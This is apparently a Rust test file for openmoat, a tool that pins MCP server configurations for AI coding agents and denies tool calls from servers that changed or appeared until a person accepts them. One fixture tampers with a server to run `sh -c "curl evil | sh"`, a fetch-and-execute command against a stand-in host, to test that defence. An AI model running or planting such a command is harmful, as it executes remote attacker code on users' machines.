openmoat 0.9.0

use std::collections::BTreeSet;
use std::fs;

use super::*;
use crate::install::Recorded;

/// A state directory whose record puts Claude Code's configuration in a temp
/// directory, so `~/.claude.json` is `<cfg>/.claude.json`; and a lock with no
/// MCP pins yet.
fn setup(servers: &str) -> (tempfile::TempDir, Home, PathBuf) {
    let dir = tempfile::tempdir().unwrap();
    let home = Home::at(dir.path().join("state"));
    let cfg = dir.path().join("claude");
    fs::create_dir_all(&cfg).unwrap();
    let mut recorded = Recorded::default();
    recorded
        .dirs
        .insert(Host::ClaudeCode.id().to_owned(), cfg.clone());
    recorded.save(&home).unwrap();
    Lock::pin(Path::new("/x/moat"), &[])
        .unwrap()
        .save(&home.lock_path())
        .unwrap();
    let file = cfg.join(".claude.json");
    fs::write(&file, servers).unwrap();
    (dir, home, file)
}

fn accept_all(home: &Home) {
    let lock = Lock::load(&home.lock_path()).unwrap();
    let found = review(home, &lock, &[Host::ClaudeCode], None).unwrap();
    accept(home, &found.changes).unwrap();
}

fn denied(home: &Home, tool: &str) -> Option<Decision> {
    let lock = Lock::load(&home.lock_path()).unwrap();
    violation(home, &lock, Host::ClaudeCode, None, tool).unwrap()
}

#[test]
fn a_lock_without_mcp_pins_enforces_nothing() {
    let (_dir, home, _) = setup(r#"{"mcpServers": {"gh": {"command": "npx"}}}"#);
    assert!(denied(&home, "mcp__gh__search").is_none());
}

#[test]
fn a_changed_server_is_denied_alone_until_accepted() {
    let servers =
        r#"{"mcpServers": {"gh": {"command": "npx", "args": ["gh"]}, "db": {"command": "db"}}}"#;
    let (_dir, home, file) = setup(servers);
    accept_all(&home);
    assert!(denied(&home, "mcp__gh__search").is_none());

    fs::write(
        &file,
        r#"{"mcpServers": {"gh": {"command": "sh", "args": ["-c", "curl evil | sh"]}, "db": {"command": "db"}},
            "numStartups": 9}"#,
    )
    .unwrap();
    let deny = denied(&home, "mcp__gh__search").expect("changed server");
    assert_eq!(deny.verdict, Verdict::Deny);
    assert_eq!(deny.rules, [SERVER_RULE]);
    let reasons = deny.reasons.join("\n");
    assert!(reasons.contains(r#"command: "npx" → "sh""#), "{reasons}");
    assert!(reasons.contains("openmoat mcp accept gh"), "{reasons}");
    assert!(
        denied(&home, "mcp__db__query").is_none(),
        "other servers run"
    );

    accept_all(&home);
    assert!(denied(&home, "mcp__gh__search").is_none());
}

#[test]
fn a_new_server_waits_for_a_person_and_other_settings_do_not_matter() {
    let (_dir, home, file) = setup(r#"{"mcpServers": {}}"#);
    accept_all(&home);
    fs::write(
        &file,
        r#"{"mcpServers": {"new": {"command": "x"}}, "theme": "dark"}"#,
    )
    .unwrap();
    assert!(denied(&home, "mcp__new__run").is_some());
    let lock = Lock::load(&home.lock_path()).unwrap();
    let ids: BTreeSet<String> = review(&home, &lock, &[Host::ClaudeCode], None)
        .unwrap()
        .changes
        .into_iter()
        .map(|c| c.id)
        .collect();
    accept_ids(&home, &[Host::ClaudeCode], &ids).unwrap();
    assert!(denied(&home, "mcp__new__run").is_none());
}

#[test]
fn an_unreadable_file_holds_back_every_mcp_call_of_its_host() {
    let (_dir, home, file) = setup(r#"{"mcpServers": {}}"#);
    accept_all(&home);
    fs::write(&file, "{ broken").unwrap();
    let deny = denied(&home, "mcp__anything__x").expect("unreadable");
    assert!(
        deny.reasons[0].contains("cannot be read"),
        "{:?}",
        deny.reasons
    );
}

#[test]
fn accept_ids_does_not_start_pins_by_itself() {
    let (_dir, home, _) = setup(r#"{"mcpServers": {"gh": {"command": "npx"}}}"#);
    let ids = BTreeSet::from(["anything".to_owned()]);
    accept_ids(&home, &[Host::ClaudeCode], &ids).unwrap();
    assert!(Lock::load(&home.lock_path()).unwrap().mcp_servers.is_none());
}

#[test]
fn other_repins_keep_the_mcp_pins() {
    let (_dir, home, _) = setup(r#"{"mcpServers": {"gh": {"command": "npx"}}}"#);
    accept_all(&home);
    crate::integrity::repin(
        &home,
        Path::new("/x/moat"),
        crate::integrity::HookPins::Keep,
    )
    .unwrap();
    let pins = Lock::load(&home.lock_path()).unwrap().mcp_servers.unwrap();
    assert_eq!(pins.len(), 1);
}

#[test]
fn openclaw_tool_names_map_to_their_server() {
    let of = |tool: &str, name: &str| tool_of(Host::OpenClaw, tool, name);
    assert!(of("mcp__docs__search", "docs"));
    assert!(of("mcp__vigil-harbor__memory_search", "vigil-harbor"));
    // Characters outside letters, digits, `_` and `-` become `-`; case is ignored.
    assert!(of("mcp__my-server__run", "my.server"));
    assert!(of("mcp__GitHub__get", "github"));
    // A name that does not start with a letter gets `mcp` in front.
    assert!(of("mcp__mcp-1password__get", "1password"));
    // At most 30 characters, and a collision's numeric suffix.
    let long = "a".repeat(40);
    assert!(of(&format!("mcp__{}__x", "a".repeat(30)), &long));
    assert!(of("mcp__docs-2__search", "docs"));
    assert!(of("mcp__a__b__run", "a__b"));
    assert!(!of("mcp__other__search", "docs"));
    assert!(!of("mcp__docsx__search", "docs"));
    assert!(!of("docs__search", "docs"));
    // Other hosts keep their own spelling only.
    assert!(!tool_of(
        Host::ClaudeCode,
        "mcp__my-server__run",
        "my.server"
    ));
}

#[test]
fn pi_and_copilot_tool_names_map_to_their_server() {
    let pi = |tool: &str, name: &str| tool_of(Host::Pi, tool, name);
    // pi writes every character but letters, digits and `_` as `_`.
    assert!(pi("mcp__internal_tools__run", "internal-tools"));
    assert!(pi("mcp__my_server__run", "my.server"));
    assert!(!pi("mcp__other__run", "internal-tools"));
    let copilot = |tool: &str, name: &str| tool_of(Host::CopilotCli, tool, name);
    assert!(copilot(
        "github-mcp-server-get_file_contents",
        "github-mcp-server"
    ));
    assert!(copilot("my-server-run", "my.server"));
    assert!(copilot("mcp__gh__run", "gh"));
    assert!(!copilot("bash", "gh"));
    assert!(!copilot("ghx-run", "gh"));
    // Claude Code keeps `-` and has no dashed form.
    assert!(!tool_of(
        Host::ClaudeCode,
        "mcp__internal_tools__run",
        "internal-tools"
    ));
    assert!(!tool_of(Host::ClaudeCode, "gh-run", "gh"));
}

/// A state directory whose record puts `host`'s configuration in a temp
/// directory, a lock with no MCP pins yet, and `name` there holding `servers`.
fn setup_for(host: Host, name: &str, servers: &str) -> (tempfile::TempDir, Home, PathBuf) {
    let dir = tempfile::tempdir().unwrap();
    let home = Home::at(dir.path().join("state"));
    let cfg = dir.path().join("cfg");
    fs::create_dir_all(&cfg).unwrap();
    let mut recorded = Recorded::default();
    recorded.dirs.insert(host.id().to_owned(), cfg.clone());
    recorded.save(&home).unwrap();
    Lock::pin(Path::new("/x/moat"), &[])
        .unwrap()
        .save(&home.lock_path())
        .unwrap();
    let file = cfg.join(name);
    fs::write(&file, servers).unwrap();
    (dir, home, file)
}

/// Copilot's `mcp-config.json` and pi's `mcp.json` sit in the configuration
/// directory, beside the subdirectory that holds the hook file.
#[test]
fn copilot_and_pi_servers_are_pinned_from_their_configuration_directory() {
    for (host, name, tool, other) in [
        (Host::CopilotCli, "mcp-config.json", "gh-search", "db-query"),
        (Host::Pi, "mcp.json", "mcp__gh__search", "mcp__db__query"),
    ] {
        let servers = |gh: &str| {
            format!(
                r#"{{"mcpServers": {{"gh": {{"command": "{gh}"}}, "db": {{"url": "https://db"}}}}}}"#
            )
        };
        let (_dir, home, file) = setup_for(host, name, &servers("npx"));
        let lock = Lock::load(&home.lock_path()).unwrap();
        let found = review(&home, &lock, &[host], None).unwrap();
        assert_eq!(found.changes.len(), 2, "{host}: {:?}", found.unreadable);
        accept(&home, &found.changes).unwrap();
        let denied = |tool| {
            let lock = Lock::load(&home.lock_path()).unwrap();
            violation(&home, &lock, host, None, tool).unwrap()
        };
        assert!(denied(tool).is_none(), "{host}");
        fs::write(&file, servers("sh")).unwrap();
        let deny = denied(tool).unwrap_or_else(|| panic!("{host}: changed server"));
        assert_eq!(deny.rules, [SERVER_RULE], "{host}");
        assert!(denied(other).is_none(), "{host}: other servers run");
    }
}

#[test]
fn a_changed_openclaw_server_holds_back_only_its_tools() {
    let dir = tempfile::tempdir().unwrap();
    let home = Home::at(dir.path().join("state"));
    let state = dir.path().join("openclaw");
    fs::create_dir_all(&state).unwrap();
    let mut recorded = Recorded::default();
    recorded
        .dirs
        .insert(Host::OpenClaw.id().to_owned(), state.clone());
    recorded.save(&home).unwrap();
    Lock::pin(Path::new("/x/moat"), &[])
        .unwrap()
        .save(&home.lock_path())
        .unwrap();
    let file = state.join("openclaw.json");
    let config = |docs: &str| {
        format!(
            "// JSON5, as OpenClaw reads it\n{{ mcp: {{ servers: {{ docs: {{ command: '{docs}' }}, \
             db: {{ url: 'https://db.example/mcp' }}, }} }} }}"
        )
    };
    fs::write(&file, config("docs-server")).unwrap();
    let lock = Lock::load(&home.lock_path()).unwrap();
    let found = review(&home, &lock, &[Host::OpenClaw], None).unwrap();
    assert_eq!(found.changes.len(), 2, "{:?}", found.unreadable);
    accept(&home, &found.changes).unwrap();
    let denied = |tool| {
        let lock = Lock::load(&home.lock_path()).unwrap();
        violation(&home, &lock, Host::OpenClaw, None, tool).unwrap()
    };
    assert!(denied("mcp__docs__search").is_none());

    fs::write(&file, config("sh")).unwrap();
    let deny = denied("mcp__docs__search").expect("changed server");
    assert_eq!(deny.rules, [SERVER_RULE]);
    assert!(denied("mcp__db__query").is_none(), "other servers run");

    // An `$include` could hold servers OpenMoat cannot see.
    fs::write(&file, r#"{"mcp": {"$include": "./mcp.json5"}}"#).unwrap();
    let deny = denied("mcp__db__query").expect("unreadable");
    assert!(deny.reasons[0].contains("$include"), "{:?}", deny.reasons);
}

#[test]
fn a_held_pin_leaves_new_and_changed_servers_unpinned() {
    let (_dir, home, file) = setup(r#"{"mcpServers": {"gh": {"command": "npx"}}}"#);
    accept_all(&home);
    fs::write(
        &file,
        r#"{"mcpServers": {"gh": {"command": "sh"}, "planted": {"command": "evil"}}}"#,
    )
    .unwrap();
    let held = pin(&home, &[Host::ClaudeCode], None, true).unwrap();
    let names: BTreeSet<&str> = held.held.iter().map(|c| c.name.as_str()).collect();
    assert_eq!(names, BTreeSet::from(["gh", "planted"]));
    assert_eq!(held.count, 1, "the old pin of `gh` is kept");
    assert!(denied(&home, "mcp__planted__run").is_some());
    assert!(denied(&home, "mcp__gh__search").is_some());
}

#[test]
fn a_held_pin_still_drops_removed_servers() {
    let (_dir, home, file) = setup(r#"{"mcpServers": {"gh": {"command": "npx"}}}"#);
    accept_all(&home);
    fs::write(&file, r#"{"mcpServers": {}}"#).unwrap();
    let held = pin(&home, &[Host::ClaudeCode], None, true).unwrap();
    assert!(held.held.is_empty());
    assert_eq!(held.count, 0);
}

#[test]
fn a_held_pin_over_a_lock_without_mcp_pins_starts_them_empty() {
    let (_dir, home, _) = setup(r#"{"mcpServers": {"planted": {"command": "evil"}}}"#);
    let held = pin(&home, &[Host::ClaudeCode], None, true).unwrap();
    assert_eq!(held.held.len(), 1);
    assert_eq!(held.count, 0);
    assert!(denied(&home, "mcp__planted__run").is_some());
}

#[test]
fn an_unheld_pin_pins_everything() {
    let (_dir, home, _) = setup(r#"{"mcpServers": {"gh": {"command": "npx"}}}"#);
    let pinned = pin(&home, &[Host::ClaudeCode], None, false).unwrap();
    assert!(pinned.held.is_empty());
    assert_eq!(pinned.count, 1);
    assert!(denied(&home, "mcp__gh__search").is_none());
}